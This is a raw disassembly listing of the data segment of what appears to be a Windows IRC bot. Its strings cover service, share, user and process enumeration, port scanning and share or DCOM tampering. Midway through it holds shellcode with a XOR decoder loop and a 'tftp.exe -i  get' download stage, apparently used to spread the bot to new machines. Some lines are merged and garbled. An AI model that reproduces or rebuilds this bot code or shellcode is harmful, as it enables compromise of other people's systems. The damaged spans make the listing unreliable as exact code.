aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_40E52B:loc_40E635o
		db 'the state of the service.',0
		align 10h
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_40E52B:loc_40E62Eo
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_40E52B:loc_40E627o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_40E52B:loc_40E620o
		align 10h
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_40E52B:loc_40E619o
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_40E52B:loc_40E612o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_40E52B:loc_40E60Bo
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_40E52B:loc_40E604o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_40E52B:loc_40E5D9o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_40E52B:loc_40E5D2o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_40E52B:loc_40E5CBo
		db 'tServiceCtrlDispatcher.',0
		align 10h
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_40E52B:loc_40E5C4o
		align 10h
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_40E52B+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_40E52B:loc_40E599o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_40E52B:loc_40E58Fo
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_40E52B:loc_40E585o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_40E52B:loc_40E57Bo
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_40E52B:loc_40E571o
		align 10h
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_40E52B+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_40E6A9+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_40E6A9:loc_40E775o
aStarting	db '   Starting',0      ; DATA XREF: sub_40E6A9:loc_40E76Eo
aStoping	db '    Stoping',0      ; DATA XREF: sub_40E6A9:loc_40E767o
aRunning_0	db '    Running',0      ; DATA XREF: sub_40E6A9:loc_40E760o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_40E6A9:loc_40E759o
aPausing	db '    Pausing',0      ; DATA XREF: sub_40E6A9:loc_40E752o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_40E6A9:loc_40E74Bo
aUnknown_1	db '    Unknown',0      ; DATA XREF: sub_40E6A9+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_40E6A9+25o
		align 4
dword_42D2F4	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40E7E6+ABo
		dd 2029206Ch, 2BBBB02h
aSNoShareSpecif	db '  %s: No share specified.',0
		align 4
dword_42D32C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40E7E6+89o
		dd 2029206Ch, 2BBBB02h
aSShareS_	db '  %s share: ',27h,'%s',27h,'.',0
		align 4
dword_42D35C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40E7E6+57o
		dd 2029206Ch, 2BBBB02h
aSErrorWithShar	db '  %s: Error with share: ',27h,'%s',27h,'. %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40E9DB+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_40E9DB+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_40E9DB+B5o
dword_42D3BC	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40E9DB+76o
		dd 2029206Ch, 2BBBB02h
aShareListError	db '  Share list error: %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_40E9DB+26o
		align 10h
dword_42D430	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40EAFC+B6o
		dd 2029206Ch, 2BBBB02h
aSNoUsernameSpe	db '  %s: No username specified.',0
		align 4
dword_42D46C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40EAFC+94o
		dd 2029206Ch, 2BBBB02h
aSErrorWithUser	db '  %s: Error with username: ',27h,'%s',27h,'. %s',0
dword_42D4AC	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40EAFC+6Do
		dd 2029206Ch, 2BBBB02h
aSUsernameS_	db '  %s username: ',27h,'%s',27h,'.',0
		align 10h
dword_42D4E0	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40EC42+394o
		dd 2029206Ch, 2BBBB02h
aUserInfoErrorL	db '  User info error: <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_40EC42+36Ao
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_40EC42+33Fo
		align 10h
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40EC42+317o
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_40EC42+2ECo
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_40EC42+2C4o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_40EC42+299o
		align 10h
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_40EC42+271o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_40EC42+246o
		align 10h
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_40EC42+21Eo
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_40EC42+1F3o
		align 10h
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_40EC42+1CBo
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_40EC42+1A0o
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_40EC42+178o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_40EC42+14Do
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_40EC42+125o
aGuest		db 'Guest',0            ; DATA XREF: sub_40EC42:loc_40ED5Bo
		align 4
aUser_1		db 'User',0             ; DATA XREF: sub_40EC42:loc_40ED54o
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_40EC42+D4o
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_40EC42+ACo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_40EC42+81o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_40EC42+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_40F010+14Fo
		align 10h
dword_42D6A0	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40F010+F7o
		dd 2029206Ch, 2BBBB02h
aAnAccessViolat	db '  An access violation has occured.',0
		align 10h
aS_4		db '  %S',0             ; DATA XREF: sub_40F010+BEo
		align 4
dword_42D6E8	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40F010+7Ao
		dd 2029206Ch, 2BBBB02h
aUserListErrorS	db '  User list error: %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_40F010+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_40F190:loc_40F2ADo
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_40F190:loc_40F2A6o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_40F190:loc_40F29Fo
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_40F190:loc_40F298o
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_40F190:loc_40F291o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_40F190:loc_40F274o
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_40F190:loc_40F26Do
		align 10h
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_40F190:loc_40F266o
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_40F190+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_40F190:loc_40F23Bo
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_40F190:loc_40F234o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_40F190:loc_40F22Do
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40F190:loc_40F223o
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_40F190+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_40F190:loc_40F1FDo
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_40F190:loc_40F1F3o
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_40F190:loc_40F1E9o
		align 10h
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_40F190:loc_40F1DFo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_40F190:loc_40F1D5o
		align 10h
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_40F190+3Bo
		align 4
dword_42DA04	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40F2C4+ABo
		dd 2029206Ch, 2BBBB02h
aSServerSMessag	db '  %s <Server: %S> <Message: %S>',0
dword_42DA40	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40F2C4+81o
		dd 2029206Ch, 2BBBB02h
aMessageSentSuc	db '  Message sent successfully.',0
		align 4
aSD_0		db ' %s (%d)',0         ; DATA XREF: seg000:0040F50Do
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: seg000:0040F447o
					; seg000:0040F58Bo
		align 4
dword_42DA9C	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40F59E:loc_40F625o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListFai	db '  Process list failed.',0
		align 4
dword_42DAD4	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40F59E+80o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListCom	db '  Process list completed.',0
		align 10h
dword_42DB10	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40F59E+19o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h
		dd 72702067h, 7365636Fh, 3A736573h, 0
aConst		db 'const',0
		align 10h
		dd 0
dword_42DB54	dd 1		off_42DB58	dd offset sub_40F6E3	; DATA XREF: sub_40FA4E+49r
aLetter		db 'letter',0
		align 8
		dd 2, 40F741h, 706D6F63h, 2 dup(0)
		dd 3, 40F78Eh, 6E756F63h, 797274h, 0
		dd 4, 40F82Ch, 736Fh, 2	dup(0)
		dd 5, 40F8A1h
dword_42DBAC	dd 69257325h, 0						; seg000:0040F80Do ...
dword_42DBB4	dd 4350h	dword_42DBB8	dd 7C7325h						; sub_40FA4E+39o
dword_42DBBC	dd 5D73255Bh, 7Chdword_42DBC4	dd 334B32h	dword_42DBC8	dd 5D64255Bh, 7325hdword_42DBD0	dd 5D4D5Bh						; sub_40F9AB+57o
unk_42DBD4	db    2			; DATA XREF: sub_40FAB7+92o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOp_0	db '  IP: %s Port: %d is open.',0
unk_42DC10	db    2			; DATA XREF: sub_40FB84+41o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanningIpSPor	db '  Scanning IP: %s, Port: %d.',0
		align 10h
dword_42DC50	dd 1D4C0h			align 8
off_42DC58	dd offset dword_42DC90	; DATA XREF: sub_40FC75+1B3o
		align 10h
		dd offset dword_42DC88
		align 8
		dd offset dword_42DC84
		dd offset dword_42DC80
		dd offset dword_42DC7C
		dd offset dword_42DC78
dword_42DC78	dd 5C3A44h						; seg002:0042DC74o
dword_42DC7C	dd 2444h	dword_42DC80	dd 5C3A43h	dword_42DC84	dd 2443h	dword_42DC88	dd 494D4441h, 244Ehdword_42DC90	dd 24435049h, 0	unk_42DC98	db    2			; DATA XREF: sub_40FC75+2E5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetapi32_dllCo	db ' Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_42DCDC	db    2			; DATA XREF: sub_40FC75+2CFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetworkSharesD	db ' Network shares deleted.',0
		align 4
unk_42DD18	db    2			; DATA XREF: sub_40FC75:loc_40FED7o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDelete	db ' Failed to delete ',27h,'%S',27h,' share.',0
		align 4
unk_42DD58	db    2			; DATA XREF: sub_40FC75+25Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDeleted_	db ' Share ',27h,'%S',27h,' deleted.',0
		align 10h
unk_42DD90	db    2			; DATA XREF: sub_40FC75:loc_40FE44o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDele_0	db ' Failed to delete ',27h,'%s',27h,' share.',0
		align 10h
unk_42DDD0	db    2			; DATA XREF: sub_40FC75+1C8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDelete_0	db ' Share ',27h,'%s',27h,' deleted.',0
		align 4
unk_42DE08	db    2			; DATA XREF: sub_40FC75:loc_40FDA7o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAdvapi32_dllCo	db ' Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_42DE4C	db    2			; DATA XREF: sub_40FC75:loc_40FDA0o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenIp	db ' Failed to open IPC$ Restriction registry key.',0
		align 4
unk_42DE9C	db    2			; DATA XREF: sub_40FC75:loc_40FD82o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aRestrictedAcce	db ' Restricted access to the IPC$ Share.',0
		align 4
unk_42DEE4	db    2			; DATA XREF: sub_40FC75+106o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToRestri	db ' Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_40FC75+EDo
		align 4
unk_42DF48	db    2			; DATA XREF: sub_40FC75+91o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenDc	db ' Failed to open DCOM registry key.',0
		align 4
dword_42DF8C	dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
					; DATA XREF: sub_40FC75:loc_40FCE2o
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 4F434420h, 6964204Dh
		dd 6C626173h, 2E6465h
unk_42DFBC	db    2			; DATA XREF: sub_40FC75+66o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDisableDcomFai	db ' Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_40FC75+54o
		align 10h
word_42E000	dw 4Eh			; DATA XREF: sub_40FC75+38r
		align 4
		jmp	short loc_42E008
; ---------------------------------------------------------------------------


loc_42E006:				; CODE XREF: seg002:loc_42E008p
		jmp	short loc_42E00D
; ---------------------------------------------------------------------------


loc_42E008:				; CODE XREF: seg002:0042E004j
		call	loc_42E006


loc_42E00D:				; CODE XREF: seg002:loc_42E006j
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh


loc_42E014:				; CODE XREF: seg002:0042E019j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_42E014
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh


loc_42E02A:				; CODE XREF: seg002:0042E02Fj
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_42E02A
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_42E0CC
		jnz	short loc_42E0B8
		retn
; ---------------------------------------------------------------------------


loc_42E0B8:				; CODE XREF: seg002:0042E0B5j
					; seg002:0042E0C5j
		call	near ptr loc_42E0BD+1


loc_42E0BD:				; CODE XREF: seg002:loc_42E0B8p
		add	[edx+0], ch
		call	sub_42E0CC
		jz	loc_42E0B8
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42E0CC	proc near		; CODE XREF: seg002:0042E0B0p
					; seg002:0042E0C0p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_42E0CC	endp

; ---------------------------------------------------------------------------
		align 4
aThreadList	db '-[Thread List]-',0
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_410245+51o
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_410245+35o
dword_42E148	dd 0BB09A7h			align 10h
dword_42E150	dd 173Fh			dd 9875h, 9873h
		dd offset sub_410D81
		dd offset nullsub_2
		dd offset nullsub_2
dword_42E168	dd 1B3Fh	dword_42E16C	dd 19930520h, 4	dup(0)					; sub_411286+2o
off_42E180	dd offset sub_4125D8	; DATA XREF: sub_412ADE+1Cr
dword_42E184	dd 2							; sub_417C59+46r ...
off_42E188	dd offset aNull_0	; DATA XREF: sub_412C3C:loc_412FA0r
					; sub_412C3C+457r
					; "(null)"
off_42E18C	dd offset aNull		; DATA XREF: sub_412C3C+259r
					; "(null)"
off_42E190	dd offset word_42E19A	; DATA XREF: sub_4109F4+23r
					; sub_4109F4:loc_410A55r ...
		dd offset word_42E19A
		db 2 dup(0)
word_42E19A	dw 20h			; DATA XREF: sub_4195B0+18r
					; seg002:off_42E190o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_42E39C	dd 1							; sub_4109F4:loc_410A40r ...
byte_42E3A0	db 2Eh			; DATA XREF: sub_41496B:loc_4149ABr
					; sub_4149C5+4r ...
		align 4
		dd 1, 10h
dword_42E3AC	dd 3F8h							; sub_41237F+4Dr ...
dword_42E3B0	dd 14h		off_42E3B4	dd offset aExp		; DATA XREF: sub_4146B4:loc_4146D1r
					; "exp"
		dd 1Dh,	41C784h, 1Ah, 41C780h, 1Bh, 41C778h, 1Fh, 41C770h
		dd 13h,	41C768h, 21h, 41C760h, 0Eh, 41C758h, 0Dh, 41C750h
		dd 0Fh,	41C748h, 10h, 41C740h, 5, 41C738h, 1Eh,	41C734h
		dd 12h,	41C730h, 20h, 41C72Ch, 0Ch, 41C724h, 0Bh, 41C71Ch
		dd 15h,	41C714h, 1Ch, 41C70Ch, 19h, 41C704h, 11h, 41C6FCh
		dd 18h,	41C6F4h, 16h, 41C6ECh, 17h, 41C6E4h, 22h, 41C6E0h
		dd 23h,	41C6DCh, 24h, 41C6D8h
dbl_42E488	dq 1.797693134862316e308 ; DATA	XREF: sub_4143EF+B7r
					; sub_4143EF:loc_4144D6r ...
		dd 0
		dd 0FFF80000h
dbl_42E498	dq 1.797693134862316e308 ; DATA	XREF: sub_4143EF+92r
					; sub_4143EF:loc_4144AEr ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_42E4B0	dt 2.3562723457267347066e313 ; DATA XREF: sub_41489C+Dr
					; sub_41489C+1Fr
		align 4
tbyte_42E4BC	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41489C+31r
		align 4
off_42E4C8	dd offset sub_414D30	; DATA XREF: sub_410D99+Fw
					; sub_412C3C+3AAr
off_42E4CC	dd offset sub_4149C5	; DATA XREF: sub_410D99+5w
					; sub_412C3C+3E2r
off_42E4D0	dd offset sub_414A2B	; DATA XREF: sub_410D99+14w
					; sub_41578D+430r
off_42E4D4	dd offset sub_41496B	; DATA XREF: sub_410D99+1Ew
					; sub_412C3C+3CBr
off_42E4D8	dd offset sub_414A13	; DATA XREF: sub_410D99+28w
off_42E4DC	dd offset sub_414D30	; DATA XREF: sub_410D99+32w
		dd offset sub_41891C
		align 10h
		dd offset sub_4155EC
off_42E4F4	dd offset sub_4155EC	; DATA XREF: sub_415642+29r
dword_42E4F8	dd 0D2D0920h, 5Dhdword_42E500	dd 5Dh,	0	byte_42E508	db 1			; DATA XREF: sub_416DE3+E1r
		db 2, 4, 8
		align 10h
dword_42E510	dd 3A4h		dword_42E514	dd 82798260h, 21h, 0dword_42E520	dd 0DFA6h			align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_42E600	dd 1							; sub_41724D+Co
dword_42E604	dd 16h				dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_42E768	dd 0C0000005h						; sub_4174BF+Ar ...
dword_42E76C	dd 0Bh				dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_42E7E0	dd 3							; sub_41A044+C8r
dword_42E7E4	dd 7							; sub_41A044+CDr
dword_42E7E8	dd 0Ah							; sub_41A171+4r
dword_42E7EC	dd 8Ch							; seg000:0041740Dw ...
dword_42E7F0	dd 0FFFFFFFFh, 0A00h					; sub_4164EB:loc_41656Co
dword_42E7F8	dd 2							; sub_417C59+28r
off_42E7FC	dd offset aR6002FloatingP ; DATA XREF: sub_417C59+FCr
					; sub_417C59+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
